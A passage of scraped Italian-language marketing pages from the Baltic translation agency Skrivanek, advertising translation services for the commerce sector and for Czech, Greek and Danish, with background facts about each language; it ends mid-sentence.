traduzione.  --- > Servizi linguistici di qualità per il settore del commercio: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Per approcciare un cliente, bisogna parlare la sua lingua. Essendo professionisti del settore commerciale, sapete bene che uno dei requisiti per lo sviluppo di un’attività di successo è una comunicazione rapida, soprattutto al giorno d’oggi dato che le transazioni sono svolte su scala globale. I linguisti specializzati di Skrivanek vi aiuteranno a comunicare con clienti e partner di tutto il mondo in più di 110 lingue. Inoltre, il nostro approccio moderno e orientato al risultato contribuirà allo sviluppo della vostra attività. I linguisti specializzati del team di Skrivanek non hanno solo ottime competenze linguistiche, ma hanno anche una buona conoscenza delle caratteristiche culturali dei madrelingua. Non forniamo solamente servizi di traduzione, ma ci occupiamo anche di migliorare i testi, di formattarli e di adattarli tenendo conto dei bisogni specifici della cultura, del contesto e del mercato dei vostri clienti. Abbiamo un grande esperienza nella traduzione di contratti, di materiali di marketing e pubblicitari, di cataloghi, di descrizione dei prodotti e di altre tipologie testuali caratteristiche del settore. Cooperiamo con diverse tipologie di aziende che operano nel settore del commercio: sia piccole imprese private che grandi catene commerciali. Possiamo quindi dire con certezza che potremo fornirvi il servizio linguistico che state cercando. Scadenze? Non sono un problema! I linguisti specializzati e i project manager di Skrivanek lavorano con programmi all’avanguardia che gli permettono di offrire servizi linguistici di qualità nel minor tempo possibile. FORNIAMO I SEGUENTI SERVIZI PER IL SETTORE DEL COMMERCIO IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di tutti i materiali di marketing e pubblicitari, comprese le descrizioni dei prodotti e i servizi di desktop publishing (dtp); traduzione di diversi tipi di documentazione tecnica, tra cui manuali d'uso, documenti di manutenzione e funzionamento e cataloghi; servizi di interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui conferenze, seminari, fiere incontri di lavoro; corsi di lingua di diversa intensità per tutti i livelli; qualsiasi altro servizio di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni generali e specializzate in lingua ceca, servizi di interpretazione. Ottenete un preventivo gratuito in 15 minuti! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL CECO È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta, come anche quelli di interpretazione (consecutiva e simultanea), di localizzazione e di adattamento da e verso il ceco è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek Baltic forniscono sempre informazioni sul prezzo dell’ordine. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni nel testo di partenza e la complessità dell’elemento grafico concorrono alla definizione del prezzo finale. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il ceco? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua ceca: Traduzione di documenti in ceco Interpretazione simultanea in ceco Validazione linguistica di traduzioni in ceco Interpretazione consecutiva in ceco Trascrizione in ceco Grafica e composizione tipografica in ceco Servizi di voice over e di sottotitolaggio in ceco Servizi di selezione di staff ceco Marketing multiculturale in ceco Gestione di documenti in ceco Servizi di deposizione in ceco Servizi di data room virtuali in ceco Supporto per l'e-learning in ceco Cercate un servizio linguistico in ceco? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia ALCUNI FATTI SULLA LINGUA CECA Il ceco è una lingua slava appartenente alla famiglia delle lingue indoeuropee e conta più di 11,5 milioni di parlanti in tutto il mondo. Essa è la più antica tra le lingue slave ed è la lingua ufficiale della Repubblica ceca, ma essa è anche parlata negli Stati uniti, in Austria, in Canada, in Slovacchia e in Germania. È anche una delle 24 lingue ufficiali dell'Unione Europea. Il 96% della popolazione della Repubblica Ceca parla ceco. La lingua ceca ha tre gruppi dialettali principali: il ceco comune, il ceco della Moravia centrale e il ceco dei lachi, i quali sono ulteriormente suddivisi in sottogruppi. Esistono quindi quattro dialetti: il boemo, il dialetto slesiano di Cieszyn (parlato nel sud della Polonia e talvolta perfino considerato un dialetto polacco con forti influenze ceche) il Moravo e il slesiano. Le origini del ceco risalgono al X secolo circa quando, come è accaduto con altre lingue slave, ha iniziato a separarsi dallo slavo antico. Fino alla fine del XIII secolo, i cechi utilizzarono l’alfabeto latino senza modificarlo. Tuttavia, dato il crescente volume di testi, è stato considerato necessario sviluppare un sistema di scrittura in grado di rappresentare in modo più accurato quei suoni della lingua ceca che non avevano un corrispondente nell’alfabeto latino, il quale fu introdotto all’inizio del XV secolo. Per molti secoli sono stati usati sia digrafi (ossia coppie di lettere rappresentanti un unico fonema) che lettere con diacritici. Quest’ultimi sono ancora oggi utilizzati, mentre l'unico digrafo rimasto è il "ch". Il ceco letterario si è sviluppato tra il XIV e il XVI secolo sulla base del dialetto ceco medio o dialetto di Praga, ma è solo durante il XVIII secolo che esso ha acquisito la forma attuale. Il primo libro in ceco, nonché il primo libro in una lingua slava, è stato stampato nel 1468, mentre la prima grammatica di ceco nel 1533. Tuttavia, dopo la soppressione del movimento di riforma del XVII secolo, il latino si impose nuovamente come lingua principale della scrittura. Conseguenza di ciò fu la distruzione dei libri in ceco e i testi che furono segretamente pubblicati furono riscritti in forma di manoscritti. Per ragioni storiche, la legislazione della Repubblica ceca in materia di uso della lingua nella nazione è alquanto rigida: le comunicazioni ufficiali, come anche quelle che avvengono tramite i mass media, devono avere luogo solo in ceco. Inoltre, in tutte le maggiori città sono offerti ai non residenti corsi per imparare il ceco a un prezzo simbolico. Sono poche le università e le facoltà (soprattutto nell’abito delle scienze naturali e tecniche) con offerte didattiche in lingua inglese. Il ceco letterario è molto diverso da quello colloquiale. Il sistema di scrittura si basa sull'alfabeto latino ed è composto da 42 grafemi, tra cui anche lettere con segni diacritici. L'ortografia ceca è principalmente fonetica: ad ogni suono corrisponde una lettera. L’alfabeto è composto dalle seguenti lettere: A, Á, B, C, Č, D, Ď, E, É, Ě, F, G, H, Ch, I, Í, J, K, L, M, N, Ň, O, Ó, P, Q, R, Ř, S, Š, T, Ť, U, Ú, Ů, V, W, X, Y, Ý, Z, Ž. Le consonanti doppie che si trovano in mezzo alle parole sono pronunciate brevi, come ad esempio in "Anna" . A causa dei gruppi consonantici, alcune parole sono particolarmente difficili da pronunciare per gli stranieri. Inoltre, il ceco ha uno sviluppato sistema di declinazioni e coniugazioni, mentre l'ordine delle parole nelle frasi è relativamente libero. I sostantivi hanno un genere, un numero e un caso. Il genere può essere neutro, femminile o maschile, mentre il numero singolare o plurale. I casi del ceco sono 7: nominativo, genitivo, accusativo, vocativo, locativo e strumentale. Mentre alcuni sostantivi sono o solo singolari o solo plurali, altri (soprattutto le parti del corpo, le quali sono in coppia) mantengono ancora le loro forme plurali antiche. La lingua ceca distingue anche sostantivi la cui radice termina in consonante dura e quelli la cui radice termina in consonante dolce. Inoltre, a seconda che si riferiscano a essere animati o a oggetti, i nomi maschili sono declinati in modo diverso. Di solito, i prestiti linguistici sono adattati, dato che la loro flessione avviene seguendo le regole grammaticali del ceco. Parlando degli aggettivi invece, essi hanno tre forme comparative. È interessante notare che la forma superlativa viene utilizzata anche per indicare un grado inferiore di una determinata qualità. Nella lingua ceca, la prima sillaba della parola è sempre accentata e, nelle parole con più di una sillaba, tutte quelle dispari ricevono un accento secondario. Tuttavia, ci sono delle eccezioni: le forme brevi dei pronomi personali e tutte le forme del verbo ausiliare “essere” non vengono mai accentate. Data la somiglianza fra le due lingue, i parlanti di ceco e di slovacco non hanno problemi a capirsi fra loro. Codice lingua: ISO 639-1: cs I NOSTRI SERVIZI IN LINGUA CECA PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. COMBINAZIONI LINGUISTICHE: Da lettone a ceco; da ceco a lettone; da estone a ceco; da ceco a estone; da lituano a ceco; da ceco a lituano; da russo a ceco; da ceco a russo; da polacco a ceco; da ucraino a ceco; da ceco a ucraino; da inglese a ceco; da ceco a inglese; da ceco a spagnolo; da spagnolo a ceco; da tedesco a ceco; da ceco a tedesco; da italiano a ceco; da ceco a italiano; da francese a ceco; da ceco a francese; da danese a ceco; da ceco a danese; da norvegese a ceco; da ceco a norvegese; da svedese a ceco; da ceco a svedese; da finlandese a ceco; da ceco a finlandese, ma anche altre combinazioni. I NOSTRI SERVIZI IN LINGUA CECA PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. COMBINAZIONI LINGUISTICHE: Da lettone a ceco; da ceco a lettone; da estone a ceco; da ceco a estone; da lituano a ceco; da ceco a lituano; da russo a ceco; da ceco a russo; da polacco a ceco; da ucraino a ceco; da ceco a ucraino; da inglese a ceco; da ceco a inglese; da ceco a spagnolo; da spagnolo a ceco; da tedesco a ceco; da ceco a tedesco; da italiano a ceco; da ceco a italiano; da francese a ceco; da ceco a francese; da danese a ceco; da ceco a danese; da norvegese a ceco; da ceco a norvegese; da svedese a ceco; da ceco a svedese; da finlandese a ceco; da ceco a finlandese, ma anche altre combinazioni. --- > Traduzioni specialistiche e generali in lingua greca. Servizi di interpretazione e altri servizi in lingua greca. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL GRECO È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta, come anche quelli di interpretazione (consecutiva e simultanea), di localizzazione e di adattamento da e verso il greco è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek Baltic forniscono sempre informazioni sul prezzo dell’ordine. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni nel testo di partenza e la complessità dell’elemento grafico concorrono alla definizione del prezzo finale. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il greco? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua greca: Traduzione di documenti in greco Interpretazione simultanea in greco Validazione linguistica di traduzioni in greco Interpretazione consecutiva in greco Trascrizione in greco Grafica e composizione tipografica in greco Servizi di voice over e di sottotitolaggio in greco Servizi di selezione di staff greco Marketing multiculturale in greco Gestione di documenti in greco Servizi di deposizione in greco Servizi di data room virtuali in greco Supporto per l'e-learning in greco Cercate un servizio linguistico in greco? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia ALCUNI FATTI SULLA LINGUA GRECA Il greco è una lingua indoeuropea ed è spesso definito come la prima lingua della civiltà europea. Al giorno d’oggi è parlato da circa 15 milioni di persone nel mondo ed è la lingua ufficiale di Cipro e della Grecia. Ma è anche usata in Albania, Regno Unito, Armenia, Stati Uniti, Bulgaria, Sudafrica, Egitto, Francia, Georgia, Italia, Giordania, Kazakistan, Russia, Macedonia, Romania, Spagna e Ucraina. Storicamente, il greco ha avuto diverse fasi di sviluppo: protogreco, greco miceneo, greco antico, greco koine, greco medievale e greco moderno. Le prime testimonianze scritte, le quali si trovano su tavolette d’argilla, risalgono al periodo del protogreco e sono state decifrate solo parzialmente. Le maggiori opere letterarie di questo periodo appartengono all’epica omerica, come ad esempio l’Iliade e l’Odissea, e furono scritte attorno al IX-XIII a. C. La fase del greco miceneo coincide invece con gli anni della civiltà micenea e le sue testimonianze scritte risalgono al XV-XIV secolo a. C. Il greco antico era la lingua dell'antica Grecia. Poi, quando i suoi dialetti si fusero, formarono il cosiddetto greco koine, il quale divenne la prima lingua franca dei territori che vanno dal mediterraneo fino al lontano oriente, unificando quindi il mondo antico. In un primo momento, questa lingua si sviluppò nei territori conquistati da Alessandro Magno. Tuttavia, dopo la colonizzazione ellenica, essa si diffuse dall’Egitto all’India. In seguito alla caduta della Grecia antica, il greco koine vide un’ampia diffusione nell’impero romano e in quello bizantino. Nata dalla scrittura fenicia, la scrittura alfabetica greca, in cui ogni lettera rappresenta un suono, si sviluppò intorno al VII secolo. In origine, le lettere dell'alfabeto greco venivano utilizzate anche per i numeri. La lingua orale colloquiale si sviluppò molto più velocemente dei quella scritta. Di fatti, negli anni in cui si parlava il greco antico, ancora si scriveva in protogreco. Il greco moderno iniziò ad essere utilizzato attorno al XIV secolo ed è la lingua utilizzata anche oggi. Esso ha due varietà: quella colloquiale, o demotica, e quella urbana, o katharèvousa. La katharevousa è usata nelle istituzioni ufficiali ed è in qualche modo simile alla koinè. Il greco moderno è molto diverso dal protogreco, tanto è che chi parla greco moderno potrebbe non riuscire a capire i testi scritti in protogreco. Tuttavia, il protogreco è importante per aver dato forma alla maggior parte degli odierni internazionalismi. Quando i pronomi greci vengono resi in lettone, solitamente essi mantengono la stessa desinenza, a condizione che essi esistano anche in lettone. Ad esempio, il pronome greco "Mikis" in lettone rimane invariato. Codice lingua: ISO 639-1: el I NOSTRI SERVIZI LINGUISTICI IN LINGUA GRECA PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. COMBINAZIONI LINGUISTICHE: Da lettone a greco; da greco a lettone; da estone a greco; da greco a estone; da lituano a greco; da greco a lituano; da russo a greco; da greco a russo; da ceco a greco; da greco a ceco; da polacco a greco; da greco a polacco; da ucraino a greco; da greco a ucraino; da inglese a greco; da greco a inglese; da greco a spagnolo; da spagnolo a greco; da tedesco a greco; da greco a tedesco; da italiano a greco; da greco a italiano; da francese a greco; da greco a francese; da danese a greco; da greco a danese; da norvegese a greco; da greco a norvegese; da svedese a greco; da greco a svedese; da finlandese a greco; da greco a finlandese e altri. I NOSTRI SERVIZI LINGUISTICI IN LINGUA GRECA PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. etc. COMBINAZIONI LINGUISTICHE: Da lettone a greco; da greco a lettone; da estone a greco; da greco a estone; da lituano a greco; da greco a lituano; da russo a greco; da greco a russo; da ceco a greco; da greco a ceco; da polacco a greco; da greco a polacco; da ucraino a greco; da greco a ucraino; da inglese a greco; da greco a inglese; da greco a spagnolo; da spagnolo a greco; da tedesco a greco; da greco a tedesco; da italiano a greco; da greco a italiano; da francese a greco; da greco a francese; da danese a greco; da greco a danese; da norvegese a greco; da greco a norvegese; da svedese a greco; da greco a svedese; da finlandese a greco; da greco a finlandese e altri. --- > Traduzioni specialistiche e generali in lingua danese. Interpretazione e altri servizi in lingua danese. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional SERVIZI DI INTERPRETAZIONE E DI TRADUZIONE IN DANESE QUANTO COSTANO LE TRADUZIONI DA E VERSO IL DANESE? Il costo delle traduzioni da e verso il danese è calcolato singolarmente per ogni ordine. Il prezzo dei servizi di interpretazione consecutiva o simultanea dipende dalla durata, dal luogo, dal viaggio, dalla diaria, dai costi del supporto tecnico, ecc. Esso dipende inoltre da diversi importanti fattori che possono essere determinati solo vedendo il materiale stesso. Per quanto riguarda le traduzioni scritte invece, il prezzo dipende dal volume del materiale da tradurre, dal termine di consegna della traduzione, dal contenuto del testo di partenza, dalle ripetizioni, dal trattamento della grafica e dalla formattazione del testo, dalla correzione di bozze, ma anche da servizi aggiuntivi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Certamente. Il listino prezzi dei servizi di traduzione e interpretazione (simultanea e consecutiva), di localizzazione e di adattamento da e verso il danese è parte integrante dell’accordo di cooperazione che stipuliamo con i nostri clienti. Prima di iniziare il progetto di traduzione, project manager di Skrivanek preparano sempre informazioni dettagliate sul prezzo dell’ordine. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il danese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua danese: Traduzione di documenti in danese Interpretazione simultanea in danese Validazione linguistica di traduzioni in danese Interpretazione consecutiva in danese Trascrizione in danese Grafica e composizione tipografica in danese Servizi di voice over e di sottotitolaggio in danese Servizi di selezione di staff danese Marketing multiculturale in danese Gestione di documenti in danese Servizi di deposizione in danese Servizi di data room virtuali in danese Supporto per l'e-learning in danese Cercate un servizio linguistico in danese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA DANESE E ALTRO Il danese fa parte del gruppo delle lingue germaniche settentrionali ed è, più precisamente, una lingua scandinava orientale. Ha iniziato a separarsi dalle altre lingue scandinave, con le quali è strettamente imparentata, intorno all'anno 1000 d. C. Le più antiche testimonianze scritte danesi sono delle iscrizioni runiche risalenti al periodo che va dal 250 all’800 d. C. e sono state ritrovate in Jutland e nel sud della Svezia. I più antichi manoscritti in danese risalgono invece al XIII secolo. Il danese è una delle lingue scandinave che ha subito più cambiamenti, in quanto si è sviluppato dal norreno antico come lingua separata. Assieme ad altre lingue germaniche settentrionali, il danese discende dall’antico norreno, lingua che era usata dal popolo germanico che viveva in Scandinavia durante l’epoca vichinga. Il danese, come anche lo svedese, è nato dal dialetto norreno orientale, mentre il norreno (prima dell’influenza danese) e il Bokmål norvegese sono classificati come norreno occidentale, assieme alla lingua faroense. La nuova classificazione, la quale si basa sulla comprensione reciproca, definisce il danese, il norvegese e lo svedese orali come “lingue scandinave continentali”, mentre l’islandese e il faroense come “lingue scandinave insulari”. Anche se le lingue scritte possono essere compatibili, il danese orale è molto diverso dal norvegese e dallo svedese, perciò il grado di comprensione reciproca con entrambe le lingue varia a seconda della regione e dei parlanti. Per quanto riguarda il vocabolario e la grammatica, il danese è strettamente legato all'inglese e al tedesco. Tuttavia, il danese, lo svedese ed entrambe le lingue norvegesi (Bokmål e Nynorsk) possono essere considerati essenzialmente dialetti di un'unica lingua. La lingua più simile al danese è il Bokmål norvegese, il quale può essere compreso senza difficoltà da chi parla danese. Essi possono anche capire lo svedese, anche se con qualche difficoltà. Tuttavia lo stesso non vale per l’islandese e per il faroense: senza una formazione specifica, un parlante di danese non potrebbe comprenderli. Hans Christian Andersen scrisse le sue fiabe in danese. In danese non esiste una traduzione diretta per dire "per favore"; la cortesia è espressa infatti con dei gesti specifici. In Danimarca ci sono diversi ministeri volti a regolare l’assegnazione dei nomi ai bambini, così da assicurarsi che i genitori non diano nomi strani, sciocchi o che scelgano il nome con leggerezza. La cultura danese dà più importanza all’uguaglianza tra cittadini rispetto alla famiglia di origine. Questo spiega perché la scelta del nome è abbastanza standardizzata. Sono più di 7000 i nomi da maschio e da femmina approvati tra cui i genitori possono scegliere. Nel 2016, le Nazioni Unite hanno classificato la Danimarca come il paese più felice del mondo e ancora oggi la nazione mantiene le prime posizioni in questa speciale classifica. In Danimarca i pipistrelli sono protetti dalla legge. È quindi illegale ucciderli o cacciarli da casa propria. L'ALFABETO DANESE Le più antiche testimonianze di danese scritto arrivate fino a noi (risalenti all’età del ferro e all’epoca vichinga) sono in alfabeto runico. L’alfabeto latino arrivò in Danimarca assieme al cristianesimo e nell’alto medioevo le rune furono in gran parte sostituite dalle lettere latine. L'alfabeto danese-norvegese si basa su quello latino e, dal 1917 in norvegese e dal 1948 in danese, è composto da 29 lettere: tutte le 23 lettere latine più J, W, U, Æ, Ø e Å. In entrambe le varianti linguistiche ci sono 35 fonemi: nove vocali i, e, æ, a, å, o, u, y, ø; sei dittonghi au, ei, øy (norreno antico), oi, ui (prestito), ai; 20 consonanti b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z. Tutte le vocali possono essere sia brevi che lunghe. Le lettere C, Q, W e Z non vengono utilizzate per scrivere le parole locali. Per quanto riguarda i prestiti da altre lingue, il danese tende a conservare l’ortografia originale. In particolare, in danese la lettera c non viene quasi mai resa come s. Sono molte le parole derivate da radici latine che nell'ortografia danese mantengono la lettera c. La scrittura segue principi fonetici ed etimologici ed utilizza l'alfabeto latino con le tre vocali æ, ø, å. La lettera å è stata introdotta nell'ortografia nel 1948 come risultato di una riforma ortografica e sostituì la lettera aa. Questa nuova lettera deriva dall'alfabeto svedese in uso dal XVI secolo. Tuttavia, la combinazione di lettere sostituita è ancora presente nei nomi propri di persona. Ciò che differenzia l'alfabeto danese-norvegese da quello svedese è il fatto che in svedese al posto di ä si usa æ e al posto di ø si usa ö, come in tedesco. Al giorno d’oggi, in danese e in norvegese, la lettera w è riconosciuta come una lettera separata dalla v. QUANTO È DIFFICILE IL DANESE? I linguisti hanno opinioni divergenti sul grado di difficoltà di questa lingua. Da una parte c’è chi pensa che il danese sia semplice da imparare, specialmente per anglofoni e germanofoni. Dall’altra parte invece c’è chi considera la grammatica danese decisamente complessa. La lingua scritta non è difficile né da capire né da imparare, tuttavia quella orale è più complessa, dato che i danesi pronunciano le parole in modo abbreviato e, a volte, uniscono anche le parole della frase. Inoltre, il danese non viene quasi mai scritto come è pronunciato. È interessante notare che gli stessi danesi pensano che la regina di Danimarca Margherita II sia l’unica persona a parlare un danese perfetto. Se si dedicasse un’ora al giorno all’apprendimento del danese, lo si potrebbe imparare in un anno e mezzo. Sono quindi necessarie 575-600 lezioni circa, ossia 23-24 settimane di studio a tempo pieno. DOVE E QUANTI PARLANO DANESE? Sono 5,6 milioni le persone che parlano danese nel mondo. Essa è la lingua ufficiale della Danimarca e delle Isole Faroe, ma è anche utilizzata in Groenlandia, Islanda e Germania. Comunità di lingua danese relativamente grandi si sono sviluppate anche in Argentina, negli Stati Uniti e in Canada. In Groenlandia sono 56. 000 le persone che lo parlano come seconda lingua e i bambini lo imparano a scuola. Nelle Isole Faroe invece, il danese è la seconda lingua di quasi 50. 000 persone. Nel nord della Germania, ci sono quasi 50. 000 persone madrelingua danese e piccole comunità si possono trovare anche in Svezia e Norvegia. Molti islandesi hanno una conoscenza di base di questa lingua e gran parte della popolazione la parla fluentemente. Tuttavia, dei 350. 000 abitanti dell'Islanda, poco più di 1. 000 sono madrelingua danese. Nel XIX secolo, un gran numero di danesi emigrò in cerca di lavoro e di successo. In molti non tornarono, creando nuove comunità all’estero. Oggi circa 1,4 milioni di americani hanno radici Danesi. Lo stesso si può dire di 170. 000 canadesi, 140. 000 brasiliani, 100. 000 australiani e 50. 000 argentini. Tuttavia, quasi tutti gli immigrati danesi hanno qualcosa in comune: si sono assimilati a tal punto da dimenticare la cultura e la lingua delle loro radici. Di fatti, dei 1,4 milioni di americani con origini danesi, meno di 30. 000 parlano danese; si tratta di circa il 2%. I NOSTRI INTERPRETI E TRADUTTORI DI DANESE Il team di traduttori e interpreti di danese di Skrivanek fornisce sia traduzioni di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. Ci occupiamo anche della correzione di bozze e del miglioramento stilistico di testi in danese. I nostri linguisti specializzati saranno lieti di fornire informazioni sulle differenze culturali, su come lavorare con i partner commerciali, sulla storia e sulle tradizioni di questa nazione. Tutti i traduttori, gli interpreti, i correttori di bozze e i revisori di Skrivanek sono ben consapevoli delle loro responsabilità quando lavorano con contenuti riservati e hanno firmato dei rigorosi accordi di riservatezza. Potete quindi affidarci il vostro testo da tradurre senza preoccupazioni. Più spesso, le aziende nostre clienti ci richiedono traduzioni da/verso il danese di contenuti per l’e-commerce e per il digital marketing, di siti web, ma anche adattamento di slogan pubblicitari, traduzioni legali, nonché traduzioni di accordi e di documentazione commerciale. Forniamo anche servizi di interpretazione consecutiva e simultanea per incontri commerciali e non solo, e anche in occasione di conferenze e di eventi meno formali. Forniamo anche servizi di interpretazione consecutiva e simultanea su piattaforme online, come ad esempio Zoom. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. IL DANESE NEL COMMERCIO Come in ogni altra parte del mondo, anche in Danimarca è importante la comunicazione d’impresa. Nell’epoca della globalizzazione, nel caso in cui la propria azienda operi in nazioni diverse e impieghi individui provenienti da tutto il mondo, è importante essere consapevoli della cultura della comunicazione d’impresa di diverse nazioni. Una buona comunicazione non può far altro che essere un vantaggio e apportare benefici alla propria azienda. COME AVVIENE LA COMUNICAZIONE D’IMPRESA IN DANIMARCA? Negli incontri commerciali, i danesi 